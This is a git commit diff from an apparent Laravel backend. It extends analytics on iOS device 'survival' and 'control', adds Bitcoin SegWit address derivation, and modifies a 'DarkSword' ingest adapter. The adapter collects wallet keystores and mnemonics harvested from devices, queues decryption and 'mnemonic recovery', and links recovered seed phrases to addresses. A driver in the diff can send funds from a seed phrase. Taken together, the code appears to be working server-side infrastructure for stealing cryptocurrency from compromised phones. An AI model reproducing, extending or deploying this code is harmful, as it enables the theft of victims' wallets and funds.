Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab
This commit is contained in:
@@ -7,6 +7,7 @@ use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\CfIpCountry;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
@@ -28,6 +29,8 @@ class AnalyticsReportService
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_country: list<array{label: string, count: int, pct: float}>,
|
||||
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
|
||||
* }
|
||||
*/
|
||||
@@ -67,12 +70,30 @@ class AnalyticsReportService
|
||||
{
|
||||
$scope = DailyReportService::scopeKey($agentUserId);
|
||||
$expected = (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1;
|
||||
$have = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL, $from, $to);
|
||||
$haveWallet = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL_WALLET, $from, $to);
|
||||
if ($have < $expected || $haveWallet < $expected) {
|
||||
$this->rebuild($from, $to, $agentUserId);
|
||||
// 一次查询拿到范围内每个 kind 的去重天数,避免逐 kind COUNT。
|
||||
$have = AnalyticsDailyDim::query()
|
||||
->where('scope_key', $scope)
|
||||
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
|
||||
->selectRaw('kind, COUNT(DISTINCT stat_date) AS days')
|
||||
->groupBy('kind')
|
||||
->pluck('days', 'kind')
|
||||
->all();
|
||||
// 检查所有按日聚合的 kind 是否都有完整缓存;任一缺失即重建。
|
||||
$requiredKinds = [
|
||||
AnalyticsDailyDim::KIND_SURVIVAL,
|
||||
AnalyticsDailyDim::KIND_SURVIVAL_WALLET,
|
||||
AnalyticsDailyDim::KIND_VISIT_OS,
|
||||
AnalyticsDailyDim::KIND_VISIT_VERSION,
|
||||
AnalyticsDailyDim::KIND_DEVICE_VERSION,
|
||||
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
|
||||
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
|
||||
];
|
||||
foreach ($requiredKinds as $kind) {
|
||||
if ((int) ($have[$kind] ?? 0) < $expected) {
|
||||
$this->rebuild($from, $to, $agentUserId);
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
$today = Carbon::now()->toDateString();
|
||||
@@ -176,6 +197,34 @@ class AnalyticsReportService
|
||||
);
|
||||
}
|
||||
|
||||
$countryExpr = $this->countryDimSql('country');
|
||||
|
||||
$visitCountryRows = (clone $visits)
|
||||
->selectRaw("{$countryExpr} as dim, COUNT(DISTINCT client_uid) as uv")
|
||||
->groupByRaw($countryExpr)
|
||||
->get();
|
||||
foreach ($visitCountryRows as $row) {
|
||||
$out[] = $this->dimRow(
|
||||
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
|
||||
$this->clipDim((string) $row->dim),
|
||||
(int) $row->uv,
|
||||
);
|
||||
}
|
||||
|
||||
$deviceCountryRows = (clone $devices)
|
||||
->selectRaw("{$countryExpr} as dim, COUNT(*) as cnt")
|
||||
->groupByRaw($countryExpr)
|
||||
->get();
|
||||
foreach ($deviceCountryRows as $row) {
|
||||
$out[] = $this->dimRow(
|
||||
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
|
||||
$this->clipDim((string) $row->dim),
|
||||
0,
|
||||
0,
|
||||
(int) $row->cnt,
|
||||
);
|
||||
}
|
||||
|
||||
$secondsExpr = $this->survivalSecondsSql();
|
||||
$survival = (clone $devices)
|
||||
->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum")
|
||||
@@ -215,6 +264,8 @@ class AnalyticsReportService
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_country: list<array{label: string, count: int, pct: float}>,
|
||||
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
|
||||
* }
|
||||
*/
|
||||
@@ -230,6 +281,8 @@ class AnalyticsReportService
|
||||
$visitVersions = [];
|
||||
$visitEffective = [];
|
||||
$deviceVersions = [];
|
||||
$visitCountries = [];
|
||||
$deviceCountries = [];
|
||||
$survivalDevices = 0;
|
||||
$survivalSeconds = 0;
|
||||
$walletDevices = 0;
|
||||
@@ -247,6 +300,10 @@ class AnalyticsReportService
|
||||
$visitEffective[$row->dim] = ($visitEffective[$row->dim] ?? 0) + (int) $row->effective_uv;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_VERSION) {
|
||||
$deviceVersions[$row->dim] = ($deviceVersions[$row->dim] ?? 0) + (int) $row->devices;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_VISIT_COUNTRY) {
|
||||
$visitCountries[$row->dim] = ($visitCountries[$row->dim] ?? 0) + (int) $row->uv;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_COUNTRY) {
|
||||
$deviceCountries[$row->dim] = ($deviceCountries[$row->dim] ?? 0) + (int) $row->devices;
|
||||
} elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL) {
|
||||
$survivalDevices += (int) $row->devices;
|
||||
$survivalSeconds += (int) $row->seconds_sum;
|
||||
@@ -302,6 +359,8 @@ class AnalyticsReportService
|
||||
],
|
||||
'by_ios_version' => $this->visitVersionRows($visitVersions, $visitUvSum),
|
||||
'by_device_ios_version' => $this->deviceVersionRows($deviceVersions, $deviceTotal),
|
||||
'by_visit_country' => $this->countryRows($visitCountries, array_sum($visitCountries), 'uv'),
|
||||
'by_device_country' => $this->countryRows($deviceCountries, array_sum($deviceCountries), 'count'),
|
||||
'control_by_version' => $control,
|
||||
];
|
||||
}
|
||||
@@ -347,6 +406,34 @@ class AnalyticsReportService
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* 按国家维度汇总,dim 存 ISO 代码,label 转中文名展示。
|
||||
*
|
||||
* @param array<string, int> $countries
|
||||
* @return list<array{label: string, uv: int, pct: float}>|list<array{label: string, count: int, pct: float}>
|
||||
*/
|
||||
private function countryRows(array $countries, int $total, string $valueKey): array
|
||||
{
|
||||
$labels = array_keys($countries);
|
||||
usort($labels, function (string $a, string $b) use ($countries): int {
|
||||
return ($countries[$b] ?? 0) <=> ($countries[$a] ?? 0) ?: strcmp($a, $b);
|
||||
});
|
||||
$rows = [];
|
||||
foreach ($labels as $code) {
|
||||
$value = (int) $countries[$code];
|
||||
$label = $code === AnalyticsDailyDim::DIM_UNKNOWN
|
||||
? AnalyticsDailyDim::DIM_UNKNOWN
|
||||
: CfIpCountry::label($code);
|
||||
$rows[] = [
|
||||
'label' => $label ?: $code,
|
||||
$valueKey => $value,
|
||||
'pct' => $total > 0 ? round(($value / $total) * 100, 1) : 0.0,
|
||||
];
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, uv: int, pct: float}
|
||||
*/
|
||||
@@ -410,6 +497,11 @@ class AnalyticsReportService
|
||||
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END";
|
||||
}
|
||||
|
||||
private function countryDimSql(string $column): string
|
||||
{
|
||||
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE UPPER(TRIM({$column})) END";
|
||||
}
|
||||
|
||||
private function survivalSecondsSql(): string
|
||||
{
|
||||
if (DB::connection()->getDriverName() === 'sqlite') {
|
||||
|
||||
@@ -31,6 +31,22 @@ final class BtcAddress
|
||||
return TronAddress::hexToBase58Check('00'.bin2hex($hash160));
|
||||
}
|
||||
|
||||
/**
|
||||
* Produce a Native SegWit (P2WPKH, bech32) address from a compressed
|
||||
* secp256k1 public key. Used for BIP84 derivation paths.
|
||||
*/
|
||||
public static function p2wpkhFromCompressedPublicKey(string $compressedHex): string
|
||||
{
|
||||
$compressedHex = strtolower(trim($compressedHex));
|
||||
$pub = hex2bin($compressedHex);
|
||||
if ($pub === false || strlen($pub) !== 33) {
|
||||
throw new RuntimeException('Expected compressed secp256k1 public key');
|
||||
}
|
||||
$hash160 = hash('ripemd160', hash('sha256', $pub, true), true);
|
||||
|
||||
return self::bech32Encode('bc', 0, bin2hex($hash160));
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
$address = trim($address);
|
||||
@@ -170,6 +186,52 @@ final class BtcAddress
|
||||
return ['version' => $version, 'program' => $program];
|
||||
}
|
||||
|
||||
/**
|
||||
* Encode a witness program as a bech32 address.
|
||||
*
|
||||
* @param string $hrp Human-readable part ('bc' or 'tb')
|
||||
* @param int $witver Witness version (0 for P2WPKH/P2WSH)
|
||||
* @param string $programHex Witness program as hex string
|
||||
*/
|
||||
private static function bech32Encode(string $hrp, int $witver, string $programHex): string
|
||||
{
|
||||
$charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
|
||||
$bytes = array_map('hexdec', str_split($programHex, 2));
|
||||
$values = [$witver];
|
||||
$bits = '';
|
||||
foreach ($bytes as $b) {
|
||||
$bits .= str_pad(decbin($b), 8, '0', STR_PAD_LEFT);
|
||||
}
|
||||
$bits = str_pad($bits, (int) ceil(strlen($bits) / 5) * 5, '0', STR_PAD_RIGHT);
|
||||
for ($i = 0; $i < strlen($bits); $i += 5) {
|
||||
$values[] = bindec(substr($bits, $i, 5));
|
||||
}
|
||||
$values = array_merge($values, self::bech32Checksum($hrp, $values));
|
||||
$result = $hrp.'1';
|
||||
foreach ($values as $v) {
|
||||
$result .= $charset[$v];
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Checksum(string $hrp, array $values): array
|
||||
{
|
||||
$polymod = self::bech32Polymod(array_merge(
|
||||
self::bech32HrpExpand($hrp),
|
||||
$values,
|
||||
[0, 0, 0, 0, 0, 0],
|
||||
));
|
||||
$polymod ^= 1;
|
||||
$ret = [];
|
||||
for ($i = 0; $i < 6; $i++) {
|
||||
$ret[] = ($polymod >> 5 * (5 - $i)) & 31;
|
||||
}
|
||||
|
||||
return $ret;
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Verify(string $hrp, array $values): bool
|
||||
{
|
||||
|
||||
@@ -21,6 +21,18 @@ class BtcDriver implements ChainDriver
|
||||
return BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Derive a Native SegWit (BIP84, bech32 bc1q) address.
|
||||
* Trust Wallet uses BIP84 for Bitcoin wallets.
|
||||
*/
|
||||
public function deriveAddressBip84(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
$derived = Bip44::derive($mnemonic, $this->pathBip84($index));
|
||||
$compressed = BtcAddress::compressedPublicKey($derived['private_key']);
|
||||
|
||||
return BtcAddress::p2wpkhFromCompressedPublicKey($compressed);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
@@ -204,6 +216,11 @@ class BtcDriver implements ChainDriver
|
||||
return "m/44'/0'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
private function pathBip84(int $index): string
|
||||
{
|
||||
return "m/84'/0'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{txid: string, vout: int, value: int, scriptpubkey: string}>
|
||||
*/
|
||||
@@ -474,6 +491,6 @@ class BtcDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
return Http::connectTimeout(20)->timeout(120)->acceptJson();
|
||||
return Http::timeout(30)->acceptJson();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,11 +13,13 @@ use App\Jobs\DecryptDeviceKeystores;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Services\Chain\BtcAddress;
|
||||
use App\Services\Chain\EthAddress;
|
||||
use App\Services\Chain\TronAddress;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
@@ -257,7 +259,7 @@ class DarkSwordIngestAdapter
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox);
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -507,7 +509,7 @@ class DarkSwordIngestAdapter
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
$this->dispatchKeystoreDecrypt($device, null, ['trust_wallet' => $raw]);
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -537,7 +539,7 @@ class DarkSwordIngestAdapter
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox);
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -558,27 +560,7 @@ class DarkSwordIngestAdapter
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
$this->dispatchKeystoreDecrypt($device, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
/**
|
||||
* Queue PBKDF2 / keystore recovery off the request. A Redis outage must not
|
||||
* fail the ingest that already stored the keystore blobs.
|
||||
*
|
||||
* @param array<string, mixed>|null $wallets
|
||||
* @param array<string, mixed>|null $sandbox
|
||||
*/
|
||||
private function dispatchKeystoreDecrypt(Device $device, ?array $wallets, ?array $sandbox): void
|
||||
{
|
||||
try {
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->error('DecryptDeviceKeystores dispatch failed', [
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1270,15 +1252,26 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
|
||||
// Direct address patterns.
|
||||
// Direct address patterns — each match is validated before
|
||||
// being accepted, so encrypted blobs (xpub strings, hex IVs,
|
||||
// base64 ciphertext) that happen to match a regex are rejected.
|
||||
$patterns = [
|
||||
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
|
||||
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
|
||||
];
|
||||
$validators = [
|
||||
'ETHEREUM' => fn (string $a) => EthAddress::isValid($a),
|
||||
'TRON' => fn (string $a) => TronAddress::isValid($a),
|
||||
'BITCOIN' => fn (string $a) => BtcAddress::isValid($a),
|
||||
];
|
||||
foreach ($patterns as $pat => $chainType) {
|
||||
if (preg_match_all($pat, $text, $matches)) {
|
||||
$validator = $validators[$chainType] ?? null;
|
||||
foreach ($matches[0] as $addr) {
|
||||
if ($validator !== null && ! $validator($addr)) {
|
||||
continue;
|
||||
}
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Services;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use InvalidArgumentException;
|
||||
|
||||
@@ -41,7 +42,7 @@ class MnemonicAddressLinker
|
||||
}
|
||||
|
||||
$target = (string) $address->address;
|
||||
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
|
||||
foreach ($mnemonics as $mnemonicRow) {
|
||||
$phrase = $mnemonicRow->mnemonic;
|
||||
@@ -125,7 +126,7 @@ class MnemonicAddressLinker
|
||||
continue;
|
||||
}
|
||||
|
||||
$lookup = in_array($driver->chainId(), ['eth', 'bsc'], true)
|
||||
$lookup = $driver->chainId() === 'eth'
|
||||
? strtolower((string) $address->address)
|
||||
: (string) $address->address;
|
||||
|
||||
@@ -193,7 +194,8 @@ class MnemonicAddressLinker
|
||||
*/
|
||||
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
|
||||
{
|
||||
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
$isBtc = $driver instanceof BtcDriver;
|
||||
$map = [];
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
@@ -205,6 +207,17 @@ class MnemonicAddressLinker
|
||||
if (! array_key_exists($key, $map)) {
|
||||
$map[$key] = $index;
|
||||
}
|
||||
// BTC: also derive BIP84 (Native SegWit, bc1q) addresses.
|
||||
if ($isBtc) {
|
||||
try {
|
||||
$derivedBip84 = $driver->deriveAddressBip84($phrase, $index);
|
||||
} catch (\Throwable) {
|
||||
$derivedBip84 = null;
|
||||
}
|
||||
if ($derivedBip84 !== null && ! array_key_exists($derivedBip84, $map)) {
|
||||
$map[$derivedBip84] = $index;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $map;
|
||||
@@ -216,6 +229,7 @@ class MnemonicAddressLinker
|
||||
string $target,
|
||||
bool $caseInsensitive,
|
||||
): ?int {
|
||||
$isBtc = $driver instanceof BtcDriver;
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
$derived = $driver->deriveAddress($phrase, $index);
|
||||
@@ -228,6 +242,17 @@ class MnemonicAddressLinker
|
||||
if ($match) {
|
||||
return $index;
|
||||
}
|
||||
// BTC: also check BIP84 (Native SegWit, bc1q) address.
|
||||
if ($isBtc) {
|
||||
try {
|
||||
$derivedBip84 = $driver->deriveAddressBip84($phrase, $index);
|
||||
} catch (\Throwable) {
|
||||
$derivedBip84 = null;
|
||||
}
|
||||
if ($derivedBip84 === $target) {
|
||||
return $index;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
|
||||
Reference in New Issue
Block a user